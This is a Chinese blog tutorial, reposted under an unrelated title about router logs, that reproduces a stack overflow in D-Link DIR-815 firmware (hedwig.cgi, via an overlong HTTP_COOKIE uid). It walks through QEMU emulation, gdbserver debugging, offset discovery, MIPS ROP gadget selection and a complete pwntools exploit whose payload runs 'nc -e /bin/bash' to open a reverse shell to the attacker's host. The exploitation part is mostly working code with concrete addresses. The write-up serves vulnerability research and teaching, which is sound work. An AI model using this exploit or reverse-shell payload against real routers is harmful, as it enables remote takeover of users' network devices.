快捷搜索:  汽车  科技

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)debian_squeeze_mipsel_standard.qcow2是文件系统,vmLinux-3.2.0-4-4kc-malta是内核镜像。因为是小端,这里直接选择mipsel,然后下载其中两个文件:查看bin/busybox得知是MIPS32,小端:使用qemu-system-mipsel从系统角度进行模拟,就需要一个mips架构的内核镜像和文件系统。可以在如下网站下载:Index of /~aurel32/qemu

qemu模拟环境搭建

固件下载地址

File DIR-815_FIRMWARE_1.01.ZIP — Firmware for D-link DIR-815

binwalk解压固件

binwalk -Me dir815.bin

得到文件系统:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(1)

查看bin/busybox得知是MIPS32,小端:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(2)

使用qemu-system-mipsel从系统角度进行模拟,就需要一个mips架构的内核镜像和文件系统。可以在如下网站下载:

Index of /~aurel32/qemu

因为是小端,这里直接选择mipsel,然后下载其中两个文件:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(3)

debian_squeeze_mipsel_standard.qcow2是文件系统,vmLinux-3.2.0-4-4kc-malta是内核镜像。

然后编辑qemu启动脚本start.sh:

sudo qemu-system-mipsel \ -M malta \ -kernel vmlinux-3.2.0-4-4kc-malta \ -hda debian_squeeze_mipsel_standard.qcow2 \ -append "root=/dev/sda1 console=tty0" \ -net nic \ -net tap \ -nographic \

启动后输入用户名/密码 root/root或user/user即可登录qemu模拟的系统。

接下来在宿主机创建一个网卡,使qemu内能和宿主机通信。

安装依赖库:

sudo apt-get install bridge-utils uml-utilities

在宿主机编写如下文件保存为net.sh并运行:

sudo sysctl -w net.ipv4.ip_forward=1 sudo iptables -F sudo iptables -X sudo iptables -t nat -F sudo iptables -t nat -X sudo iptables -t mangle -F sudo iptables -t mangle -X sudo iptables -P INPUT ACCEPT sudo iptables -P FORWARD ACCEPT sudo iptables -P OUTPUT ACCEPT sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED ESTABLISHED -j ACCEPT sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0

可以使用ifconfig命令检查是否配置成功:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(4)

然后配置qemu虚拟系统的路由,在qemu虚拟系统中编写net.sh并运行:

#!/bin/sh ifconfig eth0 192.168.100.2 netmask 255.255.255.0 route add default gw 192.168.100.254

在qemu虚拟系统中使用ifconfig命令查看eth0地址是否更改为192.168.100.2:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(5)

此时宿主机应该可以和qemu虚拟系统互相ping通了:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(6)

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(7)

随后使用scp命令将binwalk解压出来的squashfs-root文件夹上传到qemu系统中的/root路径下:

scp -r squashfs-root/ root@192.168.100.2:/root

然后在qemu虚拟系统中将squashfs-root文件夹下的库文件替换掉原有的,此操作会改变文件系统,如果不小心退出了虚拟系统,再次启动qemu时会失败,原因是因为改变了文件系统的内容。此时需要使用新的文件系统,因此在此操作之前可以先备份一份。编写auto.sh并执行:

cp sbin/httpd / cp -rf htdocs/ / rm -rf /etc/services cp -rf etc/ / cp lib/ld-uClibc-0.9.30.1.so /lib/ cp lib/libcrypt-0.9.30.1.so /lib/ cp lib/libc.so.0 /lib/ cp lib/libgcc_s.so.1 /lib/ cp lib/ld-uClibc.so.0 /lib/ cp lib/libcrypt.so.0 /lib/ cp lib/libgcc_s.so /lib/ cp lib/libuClibc-0.9.30.1.so /lib/ cd / ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi ln -s /htdocs/cgibin /usr/sbin/phpcgi

接下来在qemu虚拟系统的根目录( / )下,创建一个名为conf的文件,此文件是httpd服务的配置文件。内容如下:

Umask 026 PIDFile /var/run/httpd.pid LogGMT On #开启log ErrorLog /log #log文件 Tuning { NumConnections 15 BufSize 12288 InputBufSize 4096 ScriptBufSize 4096 NumHeaders 100 Timeout 60 ScriptTimeout 60 } Control { Types { text/html { html htm } text/xml { xml } text/plain { txt } image/gif { gif } image/jpeg { jpg } text/css { css } application/octet-stream { * } } Specials { Dump { /dump } CGI { cgi } Imagemap { map } Redirect { url } } External { /usr/sbin/phpcgi { php } } } Server { ServerName "Linux HTTP/1.1 " ServerId "1234" Family inet Interface eth0 #网卡 Address 192.168.100.2 #qemu的ip地址 Port "4321" #对应web访问端口 Virtual { AnyHost Control { Alias / Location /htdocs/web IndexNames { index.php } External { /usr/sbin/phpcgi { router_info.xml } /usr/sbin/phpcgi { post_login.xml } } } Control { Alias /HNAP1 Location /htdocs/HNAP1 External { /usr/sbin/hnap { hnap } } IndexNames { index.hnap } } } }

最后启动httpd服务:

./httpd -f conf

在宿主机浏览器中访问hedwig.cgi服务:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(8)

这里访问失败是因为hedwig.cgi服务没有收到请求,需要提前配置qemu虚拟环境中的REQUEST_METHOD等方法,因为httpd是读取的环境变量,这里就直接通过环境变量进行设置:

export CONTENT_LENGTH="100" export CONTENT_TYPE="application/x-www-form-urlencoded" export REQUEST_METHOD="POST" export REQUEST_URI="/hedwig.cgi" export HTTP_COOKIE="uid=1234"

这里在qemu虚拟系统中运行hedwig.cgi,再次访问http://192.168.100.2:4321/hedwig.cgi就可以正常收到内容了:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(9)

以上整个过程就是环境搭建部分,接下来就是使用gdbserver对hedwig.cgi进行调试了。

调试方法

需要在宿主机使用异构的gdb,在qemu虚拟系统中使用gdbserver来调试程序。首先在宿主机安装异构的gdb:

sudo apt install gdb-multiarch

然后在下面网址下载编译好的异构gdbserver,直接传到qemu虚拟系统中,或者自己在gdb官网下载源码交叉编译也行:

embedded-tools/binaries at master · rapid7/embedded-tools

gdbserver的用法如下:

./gdbserver 远程gdb的IP:port ./test

例如这里是用的:

./gdbserver 192.168.100.254:8888 /htdocs/web/hedwig.cgi

最后在宿主机使用gdb-multiarch进行远程调试即可:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(10)

调试确定栈溢出偏移

因为hedwig.cgi是集成到cgibin中的,所以只需要将cgibin文件放到IDA中分析就行。通过查找资料和分析得知,程序的溢出点和HTTP_COOKIE字段有关。通过查找字符串引用,在IDA中查看伪代码如下:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(11)

它存在于sess_get_uid函数,getenv获取变量信息,因此可以通过设置全局变量来控制此参数。查看sess_get_uid函数的引用,在hedwigcgi_main函数中找到如下内容:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(12)

此处值得注意的是sprintf将string和字符串拼接,放入到v27变量中,并未对长度进行检查。接下来尝试打开文件/var/tmp/temp.xml,如果不存在就跳转到退出函数,如果文件存在,则顺序执行到以下代码:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(13)

此处的sprintf也未对长度进行检查,输入超长的字符串会发生栈溢出。使用如下调试脚本进行环境变量的设置,并启动调试端口:

#!/bin/bash export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE=$(python -c "print 'uid=' 'A'*1009 'BBBB'") export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c) export REQUEST_METHOD="POST" export REQUEST_URI="/hedwig.cgi" echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi

使用gdb-multiarch远程调试,断在hedwig_cgi函数的返回地址,可以观察到s0-s7寄存器被我们的输入控制,如下:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(14)

最后看到控制了s0-s7,并且控制了ra寄存器,即控制了返回地址,依照我们上面调试脚本输入的内容,得知填充长度为1009即可控制返回地址:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(15)

构造ROP的方法

目的是为了劫持返回地址,调用libc中的system。但为了避免cache incoherency机制,这里使用system构造反弹shell,而非直接调用shellcode。首先要确定可以调用system的libc,使用vmmap查看得知为libc.so.0:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(16)

复制以下代码到ida的plugins目录中,并命名为mipsrop.py:

https://github.com/tacnetsol/ida/blob/master/plugins/mipsrop/mipsrop.py

修改82行from shims import ida_shims为import ida_shims

复制以下代码到ida的plugins目录中,并命名为ida_shims.py:

import idc import idaapi try: import ida_bytes except ImportError: ida_bytes = None try: import ida_name except ImportError: ida_name = None try: import ida_kernwin except ImportError: ida_kernwin = None try: import ida_nalt except ImportError: ida_nalt = None try: import ida_ua except ImportError: ida_ua = None try: import ida_funcs except ImportError: ida_funcs = None def _get_fn_by_version(lib curr_fn archive_fn archive_lib=None): if idaapi.IDA_SDK_VERSION >= 700: try: return getattr(lib curr_fn) except AttributeError: raise Exception('%s is not a valid Function in %s' % (curr_fn lib)) use_lib = lib if archive_lib is None else archive_lib try: return getattr(use_lib archive_fn) except AttributeError: raise Exception('%s is not a valid function in %s' % (archive_fn use_lib)) def print_insn_mnem(ea): fn = _get_fn_by_version(idc 'print_insn_mnem' 'GetMnem') return fn(ea) def print_operand(ea n): fn = _get_fn_by_version(idc 'print_operand' 'GetOpnd') return fn(ea n) def define_local_var(start end location name): fn = _get_fn_by_version(idc 'define_local_var' 'MakeLocal') return fn(start end location name) def find_func_end(ea): fn = _get_fn_by_version(idc 'find_func_end' 'FindFuncEnd') return fn(ea) def is_code(flag): fn = _get_fn_by_version(ida_bytes 'is_code' 'isCode' idaapi) return fn(flag) def get_full_flags(ea): fn = _get_fn_by_version(ida_bytes 'get_full_flags' 'getFlags' idaapi) return fn(ea) def get_name(ea): fn = _get_fn_by_version(idc 'get_name' 'Name') if idaapi.IDA_SDK_VERSION > 700: return fn(ea ida_name.GN_VISIBLE) return fn(ea) def get_func_off_str(ea): fn = _get_fn_by_version(idc 'get_func_off_str' 'GetFuncOffset') return fn(ea) def jumpto(ea opnum=-1 uijmp_flags=0x0001): fn = _get_fn_by_version(ida_kernwin 'jumpto' 'Jump' idc) if idaapi.IDA_SDK_VERSION >= 700: return fn(ea opnum uijmp_flags) return fn(ea) def ask_yn(default format_str): fn = _get_fn_by_version(ida_kernwin 'ask_yn' 'AskYN' idc) return fn(default format_str) def ask_file(for_saving default dialog): fn = _get_fn_by_version(ida_kernwin 'ask_file' 'AskFile' idc) return fn(for_saving default dialog) def get_func_attr(ea attr): fn = _get_fn_by_version(idc 'get_func_attr' 'GetFunctionAttr') return fn(ea attr) def get_name_ea_simple(name): fn = _get_fn_by_version(idc 'get_name_ea_simple' 'LocByName') return fn(name) def next_head(ea maxea=4294967295): fn = _get_fn_by_version(idc 'next_head' 'NextHead') return fn(ea maxea) def get_Screen_ea(): fn = _get_fn_by_version(idc 'get_screen_ea' 'ScreenEA') return fn() def choose_func(title): fn = _get_fn_by_version(idc 'choose_func' 'ChooseFunction') return fn(title) def ask_ident(default prompt): fn = _get_fn_by_version(ida_kernwin 'ask_str' 'AskIdent' idc) if idaapi.IDA_SDK_VERSION >= 700: return fn(default ida_kernwin.HIST_IDENT prompt) return fn(default prompt) def set_name(ea name): fn = _get_fn_by_version(idc 'set_name' 'MakeName') if idaapi.IDA_SDK_VERSION >= 700: return fn(ea name ida_name.SN_CHECK) return fn(ea name) def get_wide_dword(ea): fn = _get_fn_by_version(idc 'get_wide_dword' 'Dword') return fn(ea) def get_strlit_contents(ea): fn = _get_fn_by_version(idc 'get_strlit_contents' 'GetString') return fn(ea) def get_func_name(ea): fn = _get_fn_by_version(idc 'get_func_name' 'GetFunctionName') return fn(ea) def get_first_seg(): fn = _get_fn_by_version(idc 'get_first_seg' 'FirstSeg') return fn() def get_segm_attr(segea attr): fn = _get_fn_by_version(idc 'get_segm_attr' 'GetSegmentAttr') return fn(segea attr) def get_next_seg(ea): fn = _get_fn_by_version(idc 'get_next_seg' 'NextSeg') return fn(ea) def is_strlit(flags): fn = _get_fn_by_version(ida_bytes 'is_strlit' 'isASCII' idc) return fn(flags) def create_strlit(start lenth): fn = _get_fn_by_version(ida_bytes 'create_strlit' 'MakeStr' idc) if idaapi.IDA_SDK_VERSION >= 700: return fn(start lenth ida_nalt.STRTYPE_C) return fn(start idc.BADADDR) def is_unknown(flags): fn = _get_fn_by_version(ida_bytes 'is_unknown' 'isUnknown' idc) return fn(flags) def is_byte(flags): fn = _get_fn_by_version(ida_bytes 'is_byte' 'isByte' idc) return fn(flags) def create_dword(ea): fn = _get_fn_by_version(ida_bytes 'create_data' 'MakeDword' idc) if idaapi.IDA_SDK_VERSION >= 700: return fn(ea ida_bytes.FF_DWORD 4 idaapi.BADADDR) return fn(ea) def op_plain_offset(ea n base): fn = _get_fn_by_version(idc 'op_plain_offset' 'OpOff') return fn(ea n base) def next_addr(ea): fn = _get_fn_by_version(ida_bytes 'next_addr' 'NextAddr' idc) return fn(ea) def can_decode(ea): fn = _get_fn_by_version(ida_ua 'can_decode' 'decode_insn' idaapi) return fn(ea) def get_operands(insn): if idaapi.IDA_SDK_VERSION >= 700: return insn.ops return idaapi.cmd.Operands def get_canon_feature(insn): if idaapi.IDA_SDK_VERSION >= 700: return insn.get_canon_feature() return idaapi.cmd.get_canon_feature() def get_segm_name(ea): fn = _get_fn_by_version(idc 'get_segm_name' 'SegName') return fn(ea) def add_func(ea): fn = _get_fn_by_version(ida_funcs 'add_func' 'MakeFunction' idc) return fn(ea) def create_insn(ea): fn = _get_fn_by_version(idc 'create_insn' 'MakeCode') return fn(ea) def get_segm_end(ea): fn = _get_fn_by_version(idc 'get_segm_end' 'SegEnd') return fn(ea) def get_segm_start(ea): fn = _get_fn_by_version(idc 'get_segm_start' 'SegStart') return fn(ea) def decode_insn(ea): fn = _get_fn_by_version(ida_ua 'decode_insn' 'decode_insn' idaapi) if idaapi.IDA_SDK_VERSION >= 700: insn = ida_ua.insn_t() fn(insn ea) return insn fn(ea) return idaapi.cmd def get_bookmark(index): fn = _get_fn_by_version(idc 'get_bookmark' 'GetMarkedPos') return fn(index) def get_bookmark_desc(index): fn = _get_fn_by_version(idc 'get_bookmark_desc' 'GetMarkComment') return fn(index) def set_color(ea what color): fn = _get_fn_by_version(idc 'set_color' 'SetColor') return fn(ea what color) def msg(message): fn = _get_fn_by_version(ida_kernwin 'msg' 'Message' idc) return fn(message) def get_highlighted_identifier(): fn = _get_fn_by_version(ida_kernwin 'get_highlight' 'get_highlighted_identifier' idaapi) if idaapi.IDA_SDK_VERSION >= 700: viewer = ida_kernwin.get_current_viewer() highlight = fn(viewer) if highlight and highlight[1]: return highlight[0] return fn() def start_ea(obj): if not obj: return None try: return obj.startEA except AttributeError: return obj.start_ea def end_ea(obj): if not obj: return None try: return obj.endEA except AttributeError: return obj.end_ea def set_func_flags(ea flags): fn = _get_fn_by_version(idc 'set_func_attr' 'SetFunctionFlags') if idaapi.IDA_SDK_VERSION >= 700: return fn(ea idc.FUNCATTR_FLAGS flags) return fn(ea flags) def get_func_flags(ea): fn = _get_fn_by_version(idc 'get_func_attr' 'GetFunctionFlags') if idaapi.IDA_SDK_VERSION >= 700: return fn(ea idc.FUNCATTR_FLAGS) return fn(ea)

之后在idapython输入框中输入:

import mipsrop mipsrop = mipsrop.MIPSROPFinder()

然后输入mipsrop.find("")即可查询可用的gadget:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(17)

根据《揭秘家用路由器0day漏洞挖掘技术》一书的方法:先将 system 函数的地址 -1 传入某个寄存器中,之后找到对这个寄存器进行加 1 的操作的 gadget 进行调用即可将system地址恢复,因此我们查找addiu $s0 1指令,选用gadgets:0x158c8

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(18)

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(19)

这个gadget可以将s0赋值为system函数地址。现在我们还需要找到给system函数传参的gadget。利用mipsrop.stackfinder,选用gadget:0x159cc。因为其既可以跳转至system函数,又可以通过s5给system函数传参:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(20)

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(21)

编写exp

有了上面两个gadget之后,整体流程如下:

  • 劫持地址-->0x158c8(给s0赋值为system函数地址,跳转至s5)
  • 0x159cc(给system函数传参并跳转执行)

exp如下:

from pwn import * context.endian = "little" context.arch = "mips" base_addr = 0x77f34000 system_addr_1 = 0x53200-1 gadget1 = 0x158c8 gadget2 = 0x159cc cmd = 'nc -e /bin/bash 192.168.100.254 9999' padding = 'A' * 973 padding = p32(base_addr system_addr_1) # s0 padding = 'A' * 4 # s1 padding = 'A' * 4 # s2 padding = 'A' * 4 # s3 padding = 'A' * 4 # s4 padding = p32(base_addr gadget2) # s5 padding = 'A' * 4 # s6 padding = 'A' * 4 # s7 padding = 'A' * 4 # fp padding = p32(base_addr gadget1) # ra padding = 'B' * 0x10 padding = cmd f = open("context" 'wb') f.write(padding) f.close()

运行exp生成context,将congtext上传,然后运行hedwig.cgi服务:

#!/bin/bash export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="uid=`cat context`" export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c) export REQUEST_METHOD="POST" export REQUEST_URI="/hedwig.cgi" echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi #echo "uid=4321"|/htdocs/web/hedwig.cgi

最后可以在宿主机可以得到一个qemu虚拟系统的shell:

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(22)

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(23)

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(24)

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(25)

路由器日志分析中关于断网记录(815路由器栈溢出漏洞分析与复现)(26)

总结

复现过程主要难点在于环境搭建、仿真模拟,由于没有硬件设备,通过仿真只能模拟出部分功能。我试了很多方式,比如像FirmAE和Firmadyne,或者是自己构建的docker镜像、openwrt虚拟机,都不是很好用,中途遇到无数多的问题不得不放弃这些方法,最后选择这种手动模拟的方式,这种方式应该适用于多数要求不是很高的模拟场景。

References

IOT设备漏洞挖掘从入门到入门(一)- DVRF系列题目分析 - 安全客,安全资讯平台

IOT设备漏洞挖掘从入门到入门(二)- DLink Dir 815漏洞分析及三种方式模拟复现 - 安全客,安全资讯平台

IOTsec-Zone 物联网安全社区

MIPS 汇编指令学习 - CobrAMG - 博客园


本文来自https://www.cnblogs.com/unr4v31/p/16072562.html

猜您喜欢: